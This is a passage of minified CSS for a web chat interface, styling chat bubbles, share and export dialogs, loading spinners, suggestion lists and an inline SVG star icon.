4px;display:flex;align-items:center;column-gap:2px;cursor:pointer}.chat-tree[data-v-a3f6de8d]{padding:0!important;border-radius:12px!important;background:linear-gradient(180deg,#6d5ffd33,#60bbfd33)!important}.paper{display:inline-flex;align-items:center;height:16px;line-height:16px;margin-right:10px}.paper .paper-main{-webkit-user-select:none;user-select:none;vertical-align:middle;font-size:12px;margin:0 4px;overflow:hidden}.paper .next,.paper .prev{cursor:pointer}.paper svg{display:inline-block;width:16px;height:16px;vertical-align:middle;stroke:#555666}.paper svg.disable{stroke:#999aaa}.vscode-dark svg{stroke:#ccccd8}.vscode-dark svg.disable{stroke:#999aaa}.chat-search_re_feedback{margin-left:10px;color:#555666}.chat-search_re_feedback .re_feedback_inner{display:flex;align-items:center;border-radius:4px;background:#f2f2f5;padding:4px 10px}.chat-search_re_feedback .re_feedback_inner .re_feedback-item{cursor:pointer;padding:0 3px;line-height:0}.chat-search_re_feedback .re_feedback_inner .re_feedback-item:last-child{margin-right:0}.chat-search_re_feedback .re_feedback_inner .re_feedback-item img{-webkit-user-select:none;user-select:none;-webkit-user-drag:none;width:24px;height:24px}:root,:host{--van-black: #000;--van-white: #fff;--van-gray-1: #f7f8fa;--van-gray-2: #f2f3f5;--van-gray-3: #ebedf0;--van-gray-4: #dcdee0;--van-gray-5: #c8c9cc;--van-gray-6: #969799;--van-gray-7: #646566;--van-gray-8: #323233;--van-red: #ee0a24;--van-blue: #1989fa;--van-orange: #ff976a;--van-orange-dark: #ed6a0c;--van-orange-light: #fffbe8;--van-green: #07c160;--van-gradient-red: linear-gradient(to right, #ff6034, #ee0a24);--van-gradient-orange: linear-gradient(to right, #ffd01e, #ff8917);--van-primary-color: var(--van-blue);--van-success-color: var(--van-green);--van-danger-color: var(--van-red);--van-warning-color: var(--van-orange);--van-text-color: var(--van-gray-8);--van-text-color-2: var(--van-gray-6);--van-text-color-3: var(--van-gray-5);--van-active-color: var(--van-gray-2);--van-active-opacity: .6;--van-disabled-opacity: .5;--van-background: var(--van-gray-1);--van-background-2: var(--van-white);--van-background-3: var(--van-white);--van-padding-base: 4px;--van-padding-xs: 8px;--van-padding-sm: 12px;--van-padding-md: 16px;--van-padding-lg: 24px;--van-padding-xl: 32px;--van-font-bold: 600;--van-font-size-xs: 10px;--van-font-size-sm: 12px;--van-font-size-md: 14px;--van-font-size-lg: 16px;--van-line-height-xs: 14px;--van-line-height-sm: 18px;--van-line-height-md: 20px;--van-line-height-lg: 22px;--van-base-font: -apple-system, BlinkMacSystemFont, "Helvetica Neue", Helvetica, Segoe UI, Arial, Roboto, "PingFang SC", "miui", "Hiragino Sans GB", "Microsoft Yahei", sans-serif;--van-price-font: avenir-heavy, "PingFang SC", helvetica neue, arial, sans-serif;--van-duration-base: .3s;--van-duration-fast: .2s;--van-ease-out: ease-out;--van-ease-in: ease-in;--van-border-color: var(--van-gray-3);--van-border-width: 1px;--van-radius-sm: 2px;--van-radius-md: 4px;--van-radius-lg: 8px;--van-radius-max: 999px}.van-theme-dark{--van-text-color: #f5f5f5;--van-text-color-2: #707070;--van-text-color-3: #4d4d4d;--van-border-color: #3a3a3c;--van-active-color: #3a3a3c;--van-background: #000;--van-background-2: #1c1c1e;--van-background-3: #37363b}html{-webkit-tap-highlight-color:transparent}body{margin:0;font-family:var(--van-base-font)}a{text-decoration:none}input,button,textarea{color:inherit;font:inherit}a:focus,input:focus,button:focus,textarea:focus,[class*=van-]:focus{outline:none}ol,ul{margin:0;padding:0;list-style:none}@keyframes van-slide-up-enter{0%{transform:translate3d(0,100%,0)}}@keyframes van-slide-up-leave{to{transform:translate3d(0,100%,0)}}@keyframes van-slide-down-enter{0%{transform:translate3d(0,-100%,0)}}@keyframes van-slide-down-leave{to{transform:translate3d(0,-100%,0)}}@keyframes van-slide-left-enter{0%{transform:translate3d(-100%,0,0)}}@keyframes van-slide-left-leave{to{transform:translate3d(-100%,0,0)}}@keyframes van-slide-right-enter{0%{transform:translate3d(100%,0,0)}}@keyframes van-slide-right-leave{to{transform:translate3d(100%,0,0)}}@keyframes van-fade-in{0%{opacity:0}to{opacity:1}}@keyframes van-fade-out{0%{opacity:1}to{opacity:0}}@keyframes van-rotate{0%{transform:rotate(0)}to{transform:rotate(360deg)}}.van-fade-enter-active{animation:var(--van-duration-base) van-fade-in both var(--van-ease-out)}.van-fade-leave-active{animation:var(--van-duration-base) van-fade-out both var(--van-ease-in)}.van-slide-up-enter-active{animation:van-slide-up-enter var(--van-duration-base) both var(--van-ease-out)}.van-slide-up-leave-active{animation:van-slide-up-leave var(--van-duration-base) both var(--van-ease-in)}.van-slide-down-enter-active{animation:van-slide-down-enter var(--van-duration-base) both var(--van-ease-out)}.van-slide-down-leave-active{animation:van-slide-down-leave var(--van-duration-base) both var(--van-ease-in)}.van-slide-left-enter-active{animation:van-slide-left-enter var(--van-duration-base) both var(--van-ease-out)}.van-slide-left-leave-active{animation:van-slide-left-leave var(--van-duration-base) both var(--van-ease-in)}.van-slide-right-enter-active{animation:van-slide-right-enter var(--van-duration-base) both var(--van-ease-out)}.van-slide-right-leave-active{animation:van-slide-right-leave var(--van-duration-base) both var(--van-ease-in)}.van-clearfix:after{display:table;clear:both;content:""}.van-ellipsis{overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.van-multi-ellipsis--l2{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-line-clamp:2;line-break:anywhere;-webkit-box-orient:vertical}.van-multi-ellipsis--l3{display:-webkit-box;overflow:hidden;text-overflow:ellipsis;-webkit-line-clamp:3;line-break:anywhere;-webkit-box-orient:vertical}.van-safe-area-top{padding-top:constant(safe-area-inset-top);padding-top:env(safe-area-inset-top)}.van-safe-area-bottom{padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.van-haptics-feedback{cursor:pointer}.van-haptics-feedback:active{opacity:var(--van-active-opacity)}[class*=van-hairline]:after{position:absolute;box-sizing:border-box;content:" ";pointer-events:none;top:-50%;right:-50%;bottom:-50%;left:-50%;border:0 solid var(--van-border-color);transform:scale(.5)}.van-hairline,.van-hairline--top,.van-hairline--left,.van-hairline--right,.van-hairline--bottom,.van-hairline--surround,.van-hairline--top-bottom{position:relative}.van-hairline--top:after{border-top-width:var(--van-border-width)}.van-hairline--left:after{border-left-width:var(--van-border-width)}.van-hairline--right:after{border-right-width:var(--van-border-width)}.van-hairline--bottom:after{border-bottom-width:var(--van-border-width)}.van-hairline--top-bottom:after,.van-hairline-unset--top-bottom:after{border-width:var(--van-border-width) 0}.van-hairline--surround:after{border-width:var(--van-border-width)}:root,:host{--van-swipe-indicator-size: 6px;--van-swipe-indicator-margin: var(--van-padding-sm);--van-swipe-indicator-active-opacity: 1;--van-swipe-indicator-inactive-opacity: .3;--van-swipe-indicator-active-background: var(--van-primary-color);--van-swipe-indicator-inactive-background: var(--van-border-color)}.van-swipe{position:relative;overflow:hidden;transform:translateZ(0);cursor:-webkit-grab;cursor:grab;-webkit-user-select:none;user-select:none}.van-swipe__track{display:flex;height:100%;transition-property:transform}.van-swipe__track--vertical{flex-direction:column}.van-swipe__indicators{position:absolute;bottom:var(--van-swipe-indicator-margin);left:50%;display:flex;transform:translate(-50%)}.van-swipe__indicators--vertical{top:50%;bottom:auto;left:var(--van-swipe-indicator-margin);flex-direction:column;transform:translateY(-50%)}.van-swipe__indicators--vertical .van-swipe__indicator:not(:last-child){margin-bottom:var(--van-swipe-indicator-size)}.van-swipe__indicator{width:var(--van-swipe-indicator-size);height:var(--van-swipe-indicator-size);background-color:var(--van-swipe-indicator-inactive-background);border-radius:100%;opacity:var(--van-swipe-indicator-inactive-opacity);transition:opacity var(--van-duration-fast),background-color var(--van-duration-fast)}.van-swipe__indicator:not(:last-child){margin-right:var(--van-swipe-indicator-size)}.van-swipe__indicator--active{background-color:var(--van-swipe-indicator-active-background);opacity:var(--van-swipe-indicator-active-opacity)}.chat-swipe-pro[data-v-7a06925c]{max-width:100%}.chat-swipe-pro .chat-swipe-content[data-v-7a06925c]{position:relative;border-radius:0 12px 12px}.chat-swipe-pro .chat-swipe-content[data-v-7a06925c] .van-swipe{transition:all .2s;cursor:auto;-webkit-user-select:auto;user-select:auto;position:relative;border-top-right-radius:12px;border-bottom-left-radius:12px;border-bottom-right-radius:12px;background-color:#6d5ffd0d;z-index:1;height:var(--swipe-height);transition-duration:.3s;transition-delay:0;transition-property:height}.chat-swipe-pro .chat-swipe-content[data-v-7a06925c] .van-swipe .swipe-item.mind-item .swipe-item—inner{height:100%}.chat-swipe-pro .chat-swipe-content[data-v-7a06925c]:after{content:"";position:absolute;bottom:-8px;width:calc(100% - 20px);height:8px;left:10px;background:#6d5ffd1a;border-radius:0 0 10px 10px}.chat-swipe-pro .control-view[data-v-7a06925c]{margin-top:10px;display:flex;justify-content:space-between;align-items:center;height:32px}.chat-swipe-pro .control-view.end[data-v-7a06925c]{justify-content:flex-end}.chat-swipe-pro .control-view.start[data-v-7a06925c]{justify-content:flex-start}.chat-swipe-pro .control-view .middle[data-v-7a06925c]{align-items:center;display:flex}.re-issus[data-v-5f078984]{width:100%;text-align:center;-webkit-user-select:none;user-select:none;padding-bottom:30px}.re-issus.block[data-v-5f078984]{margin:auto}.re-issus img[data-v-5f078984]{width:138px;height:153px;-webkit-user-drag:none;margin-bottom:160px}.re-issus-line[data-v-5f078984]{margin-top:24px;display:flex;align-items:center;justify-content:space-between}.re-issus-line .line[data-v-5f078984]{flex:1;display:block;width:100px;height:1px;background:linear-gradient(90deg,#fff0,#ccccd8e6)}.re-issus-line .line[data-v-5f078984]:last-child{transform:rotate(180deg)}.re-issus-line .msg[data-v-5f078984]{margin:0 8px;font-size:12px;color:#999aaa;font-style:normal;font-weight:400;line-height:24px}.re-issus-btn[data-v-5f078984]{cursor:pointer;margin:24px auto 0;width:240px;border:none;display:flex;padding:10px 0;height:32px;color:#fff;justify-content:center;align-items:center;background-color:#6d5ffd;border-radius:20px;transition:all .2s;font-size:12px;font-weight:400;line-height:28px}.re-issus-btn[data-v-5f078984]:active{opacity:.9}:root{--el-loading-spinner-size:42px;--el-loading-fullscreen-spinner-size:50px}.el-loading-parent--relative{position:relative!important}.el-loading-parent--hidden{overflow:hidden!important}.el-loading-mask{position:absolute;z-index:2000;background-color:var(--el-mask-color);margin:0;top:0;right:0;bottom:0;left:0;transition:opacity var(--el-transition-duration)}.el-loading-mask.is-fullscreen{position:fixed}.el-loading-mask.is-fullscreen .el-loading-spinner{margin-top:calc((0px - var(--el-loading-fullscreen-spinner-size))/ 2)}.el-loading-mask.is-fullscreen .el-loading-spinner .circular{height:var(--el-loading-fullscreen-spinner-size);width:var(--el-loading-fullscreen-spinner-size)}.el-loading-spinner{top:50%;margin-top:calc((0px - var(--el-loading-spinner-size))/ 2);width:100%;text-align:center;position:absolute}.el-loading-spinner .el-loading-text{color:var(--el-color-primary);margin:3px 0;font-size:14px}.el-loading-spinner .circular{display:inline;height:var(--el-loading-spinner-size);width:var(--el-loading-spinner-size);-webkit-animation:loading-rotate 2s linear infinite;animation:loading-rotate 2s linear infinite}.el-loading-spinner .path{-webkit-animation:loading-dash 1.5s ease-in-out infinite;animation:loading-dash 1.5s ease-in-out infinite;stroke-dasharray:90,150;stroke-dashoffset:0;stroke-width:2;stroke:var(--el-color-primary);stroke-linecap:round}.el-loading-spinner i{color:var(--el-color-primary)}.el-loading-fade-enter-from,.el-loading-fade-leave-to{opacity:0}@-webkit-keyframes loading-rotate{to{transform:rotate(360deg)}}@keyframes loading-rotate{to{transform:rotate(360deg)}}@-webkit-keyframes loading-dash{0%{stroke-dasharray:1,200;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-40px}to{stroke-dasharray:90,150;stroke-dashoffset:-120px}}@keyframes loading-dash{0%{stroke-dasharray:1,200;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-40px}to{stroke-dasharray:90,150;stroke-dashoffset:-120px}}.el-scrollbar{--el-scrollbar-opacity:.3;--el-scrollbar-bg-color:var(--el-text-color-secondary);--el-scrollbar-hover-opacity:.5;--el-scrollbar-hover-bg-color:var(--el-text-color-secondary)}.el-scrollbar{overflow:hidden;position:relative;height:100%}.el-scrollbar__wrap{overflow:auto;height:100%}.el-scrollbar__wrap--hidden-default{scrollbar-width:none}.el-scrollbar__wrap--hidden-default::-webkit-scrollbar{display:none}.el-scrollbar__thumb{position:relative;display:block;width:0;height:0;cursor:pointer;border-radius:inherit;background-color:var(--el-scrollbar-bg-color,var(--el-text-color-secondary));transition:var(--el-transition-duration) background-color;opacity:var(--el-scrollbar-opacity,.3)}.el-scrollbar__thumb:hover{background-color:var(--el-scrollbar-hover-bg-color,var(--el-text-color-secondary));opacity:var(--el-scrollbar-hover-opacity,.5)}.el-scrollbar__bar{position:absolute;right:2px;bottom:2px;z-index:1;border-radius:4px}.el-scrollbar__bar.is-vertical{width:6px;top:2px}.el-scrollbar__bar.is-vertical>div{width:100%}.el-scrollbar__bar.is-horizontal{height:6px;left:2px}.el-scrollbar__bar.is-horizontal>div{height:100%}.el-scrollbar-fade-enter-active{transition:opacity .34s ease-out}.el-scrollbar-fade-leave-active{transition:opacity .12s ease-out}.el-scrollbar-fade-enter-from,.el-scrollbar-fade-leave-active{opacity:0}.share-chat-item.code-preline[data-v-39eb842a] .md_doc_content .md_code_container code{white-space:pre-wrap}.share-chat-item[data-v-39eb842a] .md_doc_content .reference-em{display:none}.share-chat-item[data-v-39eb842a] .md_doc_content .md_code_container .chat_copy_btn:before{right:-4px}.share-chat-item .file-msg[data-v-39eb842a]{border:1px solid #E8E8F0;display:inline-flex;padding:6px 10px;border-radius:4px;margin-top:6px;align-items:center}.share-chat-item .file-msg img[data-v-39eb842a]{width:24px;margin-right:6px}.share-chat-item .link-msg[data-v-39eb842a]{display:flex;max-width:max-content}.share-chat-item .link-msg img[data-v-39eb842a],.share-chat-item .link-msg span[data-v-39eb842a]:first-child{flex-shrink:0}.share-chat-item .link-msg span[data-v-39eb842a]:last-child{max-width:90%}.share-chat-item .link-msg a[data-v-39eb842a]{color:#1874d2;width:100%;text-overflow:ellipsis;overflow:hidden;word-break:break-all;white-space:nowrap;display:block}.share-chat-item .msg-left[data-v-39eb842a] .md_doc_content{line-height:2px}.share-chat-item .msg-left[data-v-39eb842a] .md_doc_content code{line-height:20px}.share-chat-item .msg-left[data-v-39eb842a] .md_doc_content .chat-btns{line-height:25px}.share-chat-item .markmap-icon[data-v-39eb842a]{height:10px}.share-chat-item .chat-markmap[data-v-39eb842a]{position:absolute;right:0;bottom:0;height:20px;border-radius:12px 0;background:linear-gradient(141deg,#e2b1ff 5.23%,#6e60fd 97.15%);color:#fff;font-size:12px;font-weight:500;line-height:16px;padding:0 4px;display:flex;align-items:center;column-gap:2px;cursor:pointer}.share-preview .share-preview-inner[data-v-2340eb75]{padding:4px 24px 0}.share-preview .share-preview-inner .share-preview-item[data-v-2340eb75]{display:flex;align-items:flex-start;justify-content:space-between;margin-bottom:8px}.share-preview .share-preview-inner .share-preview-item[data-v-2340eb75]:last-child{margin-bottom:0}.share-preview .share-preview-inner .share-preview-item .user-avatar[data-v-2340eb75]{border-radius:50%;width:32px;height:32px;font-size:0}.share-preview .share-preview-inner .share-preview-item .user-avatar img[data-v-2340eb75]{border-radius:50%;width:100%;height:100%}.share-preview .share-preview-inner .share-preview-item .share-preview-item-content[data-v-2340eb75]{margin-left:8px;flex:1;overflow:hidden;color:#222226;width:100%;box-sizing:border-box;font-size:15px;padding:4px 0}.share-preview .share-preview-inner .share-preview-item .share-preview-item-content[data-v-2340eb75] .chat-md p{margin:0;white-space:pre-line;line-height:24px}.share-preview .share-empty[data-v-2340eb75]{display:flex;flex-direction:column;align-items:center;justify-content:center;padding-top:40%}.share-preview .share-empty img[data-v-2340eb75]{width:120px}.share-preview .share-empty p[data-v-2340eb75]{margin:0;text-align:center;font-size:14px;color:#999aaa}.share-preview-content_inner[data-v-95fbabac],.export-image-content_inner[data-v-95fbabac]{overflow-y:auto;padding:24px 0 0}.share-preview-content_footer[data-v-95fbabac],.export-image-content_footer[data-v-95fbabac]{padding:4px;height:48px;border-radius:8px;margin:18px 24px 0;background:#6d5ffd0d;display:flex;align-items:center;justify-content:space-between}.share-preview-content_footer span[data-v-95fbabac],.export-image-content_footer span[data-v-95fbabac]{overflow:hidden;color:#999aaa;text-overflow:ellipsis;font-size:16px;font-weight:400;display:block;flex:1;padding-left:10px;word-break:break-all;white-space:nowrap}.share-preview-content_footer button[data-v-95fbabac],.export-image-content_footer button[data-v-95fbabac]{border:none;cursor:pointer;padding:0 16px;margin-left:10px;flex-shrink:0;height:40px;line-height:40px;border-radius:25px;transition:all .2s;font-weight:500;color:#fff;font-size:16px;text-align:center;background-color:#6d5ffd}.share-preview-content_footer button.save[data-v-95fbabac],.export-image-content_footer button.save[data-v-95fbabac]{padding:0 60px;margin:0 auto}.share-preview-content_footer button[data-v-95fbabac]:hover,.export-image-content_footer button[data-v-95fbabac]:hover{opacity:.9}.share-preview-content_footer.btns[data-v-95fbabac],.export-image-content_footer.btns[data-v-95fbabac]{height:40px;background:#0000}.share-export-action[data-v-95fbabac]{position:absolute;bottom:0;left:0;width:100%;padding:40px;z-index:100;display:flex;justify-content:center;align-items:center;background-color:#fff}.share-export-action[data-v-95fbabac]:before{display:block;content:" ";position:absolute;top:-38px;left:-1px;right:-1px;height:38px;pointer-events:none;background:linear-gradient(0deg,#fffc,#fff3 60%,#fff0)}.share-export-action button[data-v-95fbabac]{cursor:pointer;margin-right:32px;width:120px;height:32px;line-height:30px;border-radius:20px;transition:all .2s;font-weight:500;color:#999aaa;background-color:#fff;font-size:12px;text-align:center;border:1px solid #F2F2F5}.share-export-action button[data-v-95fbabac]:hover{background-color:#f2f2f5}.share-export-action button.primary-btn[data-v-95fbabac]{background-color:#6d5ffd;color:#fff}.share-export-action button.primary-btn[data-v-95fbabac]:hover{opacity:.9}.share-export-action button[data-v-95fbabac]:last-child{margin-right:0}.share-export-action button[data-v-95fbabac]:active{opacity:.9}.export-image-dialog{width:80%;max-width:1200px}.share-preview-dialog .el-dialog__header,.export-image-dialog .el-dialog__header{padding:0}.share-preview-dialog .el-dialog__header .el-dialog__headerbtn,.export-image-dialog .el-dialog__header .el-dialog__headerbtn{width:24px;height:24px;top:8px;right:8px;z-index:10}.share-preview-dialog .el-dialog__body,.export-image-dialog .el-dialog__body{padding:0 0 16px}@media screen and (min-width: 769px){.scroll-bar-style:hover::-webkit-scrollbar-thumb,.chat-items:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style::-webkit-scrollbar,.chat-items::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style::-webkit-scrollbar-thumb,.chat-items::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style::-webkit-scrollbar-track,.chat-items::-webkit-scrollbar-track{border-radius:10px;background:#0000}}.chat-items{flex:1;overflow-y:auto;height:100%;min-width:0;position:relative;display:flex;flex-direction:column}.chat-items.enable-checkbox{padding-bottom:112px}.chat-items .chat-items-scroll{padding:0 0 60px;max-width:1036px;margin:0 auto;width:100%}.chat-items .record-item{color:var(--color-text-primary);width:100%;box-sizing:border-box;display:flex;justify-content:flex-start;align-items:flex-start;font-size:15px;position:relative}.chat-items .record-item .enable-check-overlay{position:absolute;top:0;left:0;width:100%;height:100%;border-radius:6px;cursor:not-allowed;z-index:10;padding:10px 0;box-sizing:content-box}.chat-items .record-item .chat-item-checkbox{position:absolute;left:-20px;top:0}.chat-items .record-item.left .text .msg{border-radius:0 12px 12px;position:relative;background:#f8f8f8}.chat-items .record-item.right{flex-direction:row-reverse}.chat-items .record-item.right .text{color:#fff;border-radius:12px 0 12px 12px;background:linear-gradient(90deg,#a391ff,#7782ff)}.chat-items .record-item .text{border-radius:4px;position:relative;max-width:100%;height:100%;word-break:break-all}.chat-items .record-item .text .msg{width:100%;height:100%;overflow:auto;padding:10px}.chat-items .record-item .text .chat-item-loading{display:flex;align-items:center}.chat-items .record-item .text .chat-item-loading img{margin-left:4px}.chat-items .record-item .text p{margin:0;white-space:pre-line;line-height:22px}.chat-items .record-item .text p+p,.chat-items .record-item .text p+pre{margin-top:8px}.chat-items .record-item .text .icon-loading{width:20px;height:20px;vertical-align:middle}.chat-items .record-item+.record-item{margin-top:20px}.hots{margin-top:24px}.hots .hots-title{line-height:24px;display:flex;align-items:center;justify-content:space-between;color:var(--color-text-desc)}.hots .hots-title:active{opacity:.8}.hots .hots-title svg,.hots .hots-title span{cursor:pointer;vertical-align:middle}.hots .hots-title a{color:var(--color-text-active)}.hots .hots-title a:hover{color:#3d3ad1;font-weight:600}.hots .icon-refresh{transition:transform .5s linear}.hots .hots-list{margin-top:12px;display:flex;flex-wrap:wrap;justify-content:space-between}.hots .hots-list .hot{margin-bottom:14px;width:calc((100% - 32px) / 3);cursor:pointer}.hots .hots-list .hot .hot-item{padding:12px 10px;border-radius:8px;box-shadow:4px 4px 12px var(--color-box-shadow);color:var(--color-text-content);display:flex;justify-content:space-between;align-items:center}.hots .hots-list .hot .hot-item:hover,.hots .hots-list .hot .hot-item:hover .icon-arrow-right{color:var(--color-text-active)}.hots .hots-list .hot .hot-item .hot-title{flex:1}.simple .hots-list{column-count:3!important}@keyframes dot-scale-dbd31b96{0%,to{width:10px;height:10px}50%{width:6px;height:6px}}.chat-search-loading-icon[data-v-dbd31b96]{width:40px;height:28px;border-radius:8px;position:relative;background:linear-gradient(141deg,#6794f5 16.67%,#9003ff 85%)}.chat-search-loading-icon .dot[data-v-dbd31b96]{background:#fff;border-radius:50%;position:absolute;top:50%;left:50%}.chat-search-loading-icon .dot[data-v-dbd31b96]:first-child{width:10px;height:10px;transform:translate(calc(-50% - 4.5px),-50%);animation:dot-scale-dbd31b96 .9s linear infinite}.chat-search-loading-icon .dot[data-v-dbd31b96]:last-child{width:6px;height:6px;transform:translate(calc(-50% + 4.5px),-50%);animation:dot-scale-dbd31b96 .9s linear infinite;animation-delay:.45s}.sug-container[data-v-3dc1fece]{max-width:890px;padding:0;position:absolute;left:0;bottom:100%;width:100%;z-index:10;margin-top:-10px}.chat-sug[data-v-3dc1fece]{width:100%;box-sizing:border-box;background:transparent;border-radius:16px;box-shadow:0 4px 12px 0 var(--color-box-shadow)}.chat-sug .sug-box[data-v-3dc1fece]{color:var(--color-text-primary);padding:10px 0;width:100%;z-index:1;position:relative;overflow:hidden;background:var(--color-sug-bg);border-radius:8px}.chat-sug .sug-box img[data-v-3dc1fece]{width:16px;vertical-align:-3px;margin-left:4px}.chat-sug .sug-box .icon-arrow[data-v-3dc1fece]{display:none}.chat-sug .sug-box .sug-header[data-v-3dc1fece]{height:32px;display:flex;justify-content:space-between;align-items:center;font-size:14px;padding:0 14px;margin-bottom:4px}.chat-sug .sug-box .sug-header .title[data-v-3dc1fece]{color:#fc5531;flex:1;overflow:hidden}.chat-sug .sug-box .sug-header .-icon-close[data-v-3dc1fece]{cursor:pointer;color:#fc5531}.chat-sug .sug-box .sug-header .change[data-v-3dc1fece]{cursor:pointer}.chat-sug .sug-box p[data-v-3dc1fece]{padding:14px}.chat-sug .sug-box .sug-list .sug-item[data-v-3dc1fece]{display:flex;justify-content:space-between;align-items:center;height:32px;padding:0 14px;cursor:pointer}.chat-sug .sug-box .sug-list .sug-item[data-v-3dc1fece]:hover,.chat-sug .sug-box .sug-list .sug-item.active[data-v-3dc1fece]{background:var(--color-sug-active-bg);color:var(--color-text-active)}.chat-sug .sug-box .sug-list .sug-item:hover .icon-arrow[data-v-3dc1fece],.chat-sug .sug-box .sug-list .sug-item.active .icon-arrow[data-v-3dc1fece]{display:block}.chat-sug .sug-box .sug-list .sug-item span[data-v-3dc1fece]{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.directive-card[data-v-f4917e76]{width:334px;height:108px;border-radius:8px;border:1px solid #f2f2f5;padding:24px;box-sizing:border-box;position:relative;overflow:hidden}.directive-card:hover .mask[data-v-f4917e76]{opacity:1}.directive-card .mask[data-v-f4917e76]{position:absolute;top:0;left:0;width:100%;height:100%;background:#0000004d;-webkit-backdrop-filter:blur(4px);backdrop-filter:blur(4px);display:flex;flex-direction:column;justify-content:center;align-items:center;opacity:0;transition:opacity .3s;color:#fff;font-size:12px;row-gap:8px;font-weight:500;z-index:9;white-space:nowrap}.directive-card .mask .use-button[data-v-f4917e76]{width:96px;height:36px;line-height:36px;color:#fff;text-align:center;background:#6d5ffd;border-radius:20px;cursor:pointer}.directive-card .mask .use-button.vip[data-v-f4917e76]{background:linear-gradient(140.62deg,#e2b1ff 5.23%,#6e60fd 97.15%)}.directive-card .directive-star[data-v-f4917e76]{width:32px;height:32px;position:absolute;top:0;right:0;z-index:8;background:url("data:image/svg+xml,%3csvg%20width='32'%20height='32'%20viewBox='0%200%2032%2032'%20fill='none'%20xmlns='http://www.w3.org/2000/svg'%3e%3cg%20filter='url(%23filter0_d_2858_1943)'%3e%3cpath%20d='M10.19%2011.64L11.58%2010.83L14.32%209.25L14.45%209.17C15.33%208.66%2016.67%208.66%2017.55%209.17L17.68%209.25L20.42%2010.83L21.81%2011.63V9.49C21.81%207.24%2020.57%206%2018.32%206H13.67C11.42%206%2010.19%207.24%2010.19%209.49V11.64Z'%20fill='url(%23paint0_linear_2858_1943)'/%3e%3cpath%20d='M9.69%2011.64V12.5101L10.4417%2012.072L11.8298%2011.2631L11.8317%2011.262L14.5698%209.68315L14.576%209.67958L14.5821%209.67583L14.7061%209.5995C15.0551%209.39883%2015.5175%209.2875%2016%209.2875C16.4825%209.2875%2016.9449%209.39883%2017.2939%209.5995L17.418%209.67583L17.424%209.67958L17.4302%209.68315L20.1702%2011.2631L20.1706%2011.2634L21.5606%2012.0634L22.31%2012.4947V11.63V9.49C22.31%208.27557%2021.974%207.25937%2021.2623%206.5477C20.5506%205.83602%2019.5344%205.5%2018.32%205.5H13.67C12.4555%205.5%2011.4413%205.83607%2010.732%206.54845C10.0229%207.26049%209.69%208.27664%209.69%209.49V11.64Z'%20stroke='%23F6E7FF'/%3e%3c/g%3e%3cg%20filter='url(%23filter1_d_2858_1943)'%3e%3cpath%20d='M21.95%2011.71L21.81%2011.63L20.42%2010.83L17.55%209.16998C16.67%208.65998%2015.33%208.65998%2014.45%209.16998L11.58%2010.83L10.19%2011.64L10.01%2011.74C8.22%2012.94%208.1%2013.16%208.1%2015.09V19.7C8.1%2021.63%208.22%2021.85%2010.05%2023.08L14.45%2025.62C14.89%2025.88%2015.44%2026%2016%2026C16.55%2026%2017.11%2025.88%2017.55%2025.62L21.99%2023.05C23.78%2021.85%2023.9%2021.63%2023.9%2019.7V15.09C23.9%2013.16%2023.78%2012.94%2021.95%2011.71Z'%20fill='url(%23paint1_linear_2858_1943)'/%3e%3cpath%20d='M22.2289%2011.295L22.2138%2011.2849L22.1981%2011.2759L22.0594%2011.1966L22.0581%2011.1959L20.6703%2010.3972L20.6694%2010.3966L17.8007%208.73737C17.8006%208.73732%2017.8005%208.73727%2017.8005%208.73722C17.8004%208.7372%2017.8004%208.73718%2017.8003%208.73716C17.27%208.42993%2016.6249%208.28748%2016%208.28748C15.3751%208.28748%2014.73%208.42993%2014.1997%208.73716C14.1996%208.73717%2014.1996%208.73719%2014.1996%208.73721C14.1995%208.73726%2014.1994%208.73732%2014.1993%208.73737L11.3297%2010.3972L11.3297%2010.3972L11.3283%2010.398L9.9427%2011.2054L9.76718%2011.3029L9.74892%2011.313L9.73158%2011.3247C8.86327%2011.9068%208.27244%2012.3255%207.9491%2012.8941C7.61871%2013.4751%207.6%2014.1528%207.6%2015.09V19.7C7.6%2020.6375%207.61861%2021.3162%207.9553%2021.9017C8.28341%2022.4724%208.88314%2022.8981%209.77108%2023.495L9.78524%2023.5045L9.80002%2023.513L14.1956%2026.0504C14.1964%2026.0509%2014.1971%2026.0513%2014.1979%2026.0518C14.733%2026.3673%2015.3757%2026.5%2016%2026.5C16.6136%2026.5%2017.2667%2026.3676%2017.8024%2026.0516C17.803%2026.0512%2017.8037%2026.0508%2017.8044%2026.0504L22.2405%2023.4827L22.2547%2023.4745L22.2684%2023.4653C23.1367%2022.8832%2023.7276%2022.4645%2024.0509%2021.8959C24.3813%2021.3148%2024.4%2020.6372%2024.4%2019.7V15.09C24.4%2014.1524%2024.3814%2013.4738%2024.0447%2012.8882C23.7166%2012.3176%2023.1169%2011.8918%2022.2289%2011.295Z'%20stroke='%23F6E7FF'/%3e%3c/g%3e%3cpath%20d='M18.84%2017.34L18.22%2018.1C18.12%2018.21%2018.05%2018.43%2018.06%2018.58L18.12%2019.56C18.16%2020.16%2017.73%2020.47%2017.17%2020.25L16.26%2019.89C16.12%2019.84%2015.88%2019.84%2015.74%2019.89L14.83%2020.25C14.27%2020.47%2013.84%2020.16%2013.88%2019.56L13.94%2018.58C13.95%2018.43%2013.88%2018.21%2013.78%2018.1L13.16%2017.34C12.77%2016.88%2012.94%2016.37%2013.52%2016.22L14.47%2015.98C14.62%2015.94%2014.8%2015.8%2014.88%2015.67L15.41%2014.85C15.74%2014.34%2016.26%2014.34%2016.59%2014.85L17.12%2015.67C17.2%2015.8%2017.38%2015.94%2017.53%2015.98L18.48%2016.22C19.06%2016.37%2019.23%2016.88%2018.84%2017.34Z'%20fill='white'/%3e%3cdefs%3e%3cfilter%20id='filter0_d_2858_1943'%20x='7.19'%20y='5'%20width='17.62'%20height='12.3801'%20filterUnits='userSpaceOnUse'%20color-interpolation-filters='sRGB'%3e%3cfeFlood%20flood-opacity='0'%20result='BackgroundImageFix'/%3e%3cfeColorMatrix%20in='SourceAlpha'%20type='matrix'%20values='0%200%200%